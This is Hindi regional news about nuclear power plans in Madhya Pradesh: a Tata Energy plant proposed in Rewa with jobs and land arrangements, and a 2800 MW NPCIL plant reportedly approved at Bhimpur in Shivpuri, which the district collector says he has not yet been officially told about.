इस न्यूक्लियर पावर प्लांट का सबसे बड़ा लाभ रोजगार के रूप में सामने आएगा। अनुमान है कि करीब 5000 युवाओं को प्रत्यक्ष और अप्रत्यक्ष रूप से रोजगार मिलेगा। निर्माण कार्य, तकनीकी सेवाएं, सुरक्षा, परिवहन, मशीन संचालन और रखरखाव जैसे कई क्षेत्रों में स्थानीय लोगों के लिए अवसर बनेंगे। इसके अलावा आसपास छोटे व्यवसाय जैसे होटल, दुकानें, परिवहन सेवाएं और ठेकेदारी भी तेजी से बढ़ेंगे। लंबे समय से रोजगार की तलाश कर रहे युवाओं के लिए यह परियोजना उम्मीद की बड़ी किरण बन सकती है। खास बात यह है कि रीवा के युवाओं को अपने ही जिले में बेहतर नौकरी के अवसर मिलेंगे, जिससे पलायन भी कम होगा। इससे क्षेत्र की आर्थिक स्थिति मजबूत होगी और विकास की रफ्तार बढ़ेगी।

डिप्टी सीएम राजेंद्र शुक्ल ने बताया, यह पथरीली-बंजर भूमि पर बनेगा। पहले यहां सोलर प्लांट बनना था। वन भूमि के कारण एनओसी न मिलने से प्रोजेक्ट रद्द हुआ। शुक्ल ने शुक्रवार को समीक्षा बैठक भी की।

कमिश्नर बीएस जामोद ने बैठक में बताया कि परियोजना के लिए आवश्यक जमीनें तय समय सीमा में टाटा एनर्जी को उपलब्ध करा दी जाएंगी। निजी जमीनों को टाटा एनर्जी स्वयं प्राप्त करेगी। प्रशासनिक स्तर पर पूरा सहयोग किया जा रहा है।

उप मुख्यमंत्री राजेंद्र शुक्ल ने कहा कि रीवा एयरपोर्ट से केवल 30 मिनट की दूरी पर मैहर जिले में अमझर में 170 हेक्टेयर जमीन चिन्हित की गई है। एमपीआईडीसी के अधिकारी इसमें निवेश के लिए केन्द्र सरकार की भारत औद्योगिक विकास योजना (भव्य योजना) के तहत प्रस्ताव बनाएं। एमपीआईडीसी के कार्यकारी निदेशक यूके तिवारी ने बताया कि अमझर में औद्योगिक पार्क में 50 से अधिक औद्योगिक इकाईयां स्थापित की जाएंगी। औद्योगिक केन्द्र के लिए अतिरिक्त भूमि की भी तलाश की जा रही है।

अमझर में प्रस्तावित औद्योगिक पार्क का लाभ भी
सीसीएफ राजेश राय ने कहा कि वन भूमि में अनुमति के लिए ऑनलाइन आवेदन करने पर समय सीमा में अनुमति जारी कर दी जाएगी। कलेक्टर नरेन्द्र कुमार सूर्यवंशी ने कहा कि जिले में निवेश करने वाले उद्यमियों को हर संभव सहायता दी जाएगी। जिले के औद्योगिक विकास में तेजी के लिए निवेश आवश्यक है। अमझर में प्रस्तावित औद्योगिक पार्क का लाभ भी रीवा जिले को मिलेगा।

टाटा एनर्जी के प्रतिनिधियों ने प्रस्तावित परियोजना की विस्तार से जानकारी दी। टाटा एनर्जी के प्रतिनिधियों ने प्रशासनिक अधिकारियों से मिल रहे सहयोग की प्रशंसा की। बैठक में अध्यक्ष नगर निगम व्यंकटेश पाण्डेय, एसडीएम सिरमौर दृष्टि जायसवाल, कार्यपालन यंत्री पीडब्ल्यूडी नितिन पटेल तथा टाटा एनर्जी के प्रतिनिधि उपस्थित रहे।
रीवा संभाग में हर तरह के पावर प्लांट –

रीवा संभाग बिजली उत्पादन का हब बन रहा है। सिंगरौली में पहले से ही थर्मल पावर प्लांट हैं। रीवा में 750 मेगावॉट का सोलर पावर प्लांट है। सिरमौर और सिलपरा में हाइड्रो पावर प्लांट के साथ पहडिय़ा में कचरे से भी बिजली बन रही है। अब न्यूक्लियर पावर प्लांट से क्षेत्र को नई पहचान मिलेगी।

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मध्य प्रदेश में लगेगा नया 2800 मेगावाट का न्यूक्लियर पावर प्लांट, इन क्षेत्रों के घरों को करेगा रोशन https://pratyushaashakinayikiran.com/?p=148359 Sun, 13 Apr 2025 04:16:00 +0000 https://pratyushaashakinayikiran.com/?p=148359 भोपाल

मध्यप्रदेश की ऊर्जा तस्वीर अब बदलने वाली है। केंद्र सरकार ने शिवपुरी जिले के नरवर तहसील स्थित भीमपुर गांव में देश के एक बड़े परमाणु ऊर्जा संयंत्र (nuclear power plant) को हरी झंडी दे दी है। न्यूक्लियर पावर कॉरपोरेशन ऑफ इंडिया लिमिटेड (NPCIL) को भेजे गए आधिकारिक पत्र के मुताबिक, 2800 मेगावाट की क्षमता वाला यह संयंत्र मडीखेड़ा डैम के पास स्थापित किया जाएगा, जिसमें 700-700 मेगावाट की चार यूनिट लगाई जाएंगी।

 यह परियोजना न सिर्फ प्रदेश, बल्कि पूरे देश की ऊर्जा ज़रूरतों को नई शक्ति देगी। भीमपुर क्षेत्र में ठंडा मौसम, स्थिर वातावरण और पर्याप्त जलस्रोत जैसे प्राकृतिक संसाधन पहले से ही मौजूद हैं, जिससे इस हाई-टेक प्लांट को पंख मिलेंगे।

मडीखेड़ा का पानी करेगा न्यूक्लियर यूनिट को पॉवरफुल
इस मेगा प्रोजेक्ट के लिए जरूरी जल आपूर्ति मडीखेड़ा डैम से की जाएगी। इसके लिए 120 एमसीएम वाटर बैराज और 40 एमसीएम बैलेंसिंग रिजर्व वेल की भी योजना तैयार हो चुकी है। जमीन की पहचान और तकनीकी सर्वेक्षण का काम पहले ही पूरा किया जा चुका है।

प्रदेश को मिल रही है पहली न्यूक्लियर पहचान
गौरतलब है कि अभी मध्यप्रदेश में कोई सक्रिय परमाणु संयंत्र नहीं है। लेकिन भीमपुर प्रोजेक्ट के साथ मप्र का नाम अब देश की न्यूक्लियर मैप पर चमकने को तैयार है। केंद्र सरकार की योजना के तहत राज्य के चार जिलों—शिवपुरी, मंडला, देवास और नीमच—में परमाणु परियोजनाएं प्रस्तावित हैं।

अधिकारियों की प्रतिक्रिया में संशय
हालांकि शिवपुरी के कलेक्टर रविन्द्र चौधरी का कहना है कि उन्हें अभी तक इस संबंध में कोई आधिकारिक सूचना नहीं मिली है। उन्होंने कहा, “सोशल मीडिया पर चल रहे पत्र की जांच करवाई जा रही है। अगर भोपाल स्तर से कोई पत्र आया हो, तो उसकी जानकारी मुझे फिलहाल नहीं है।”

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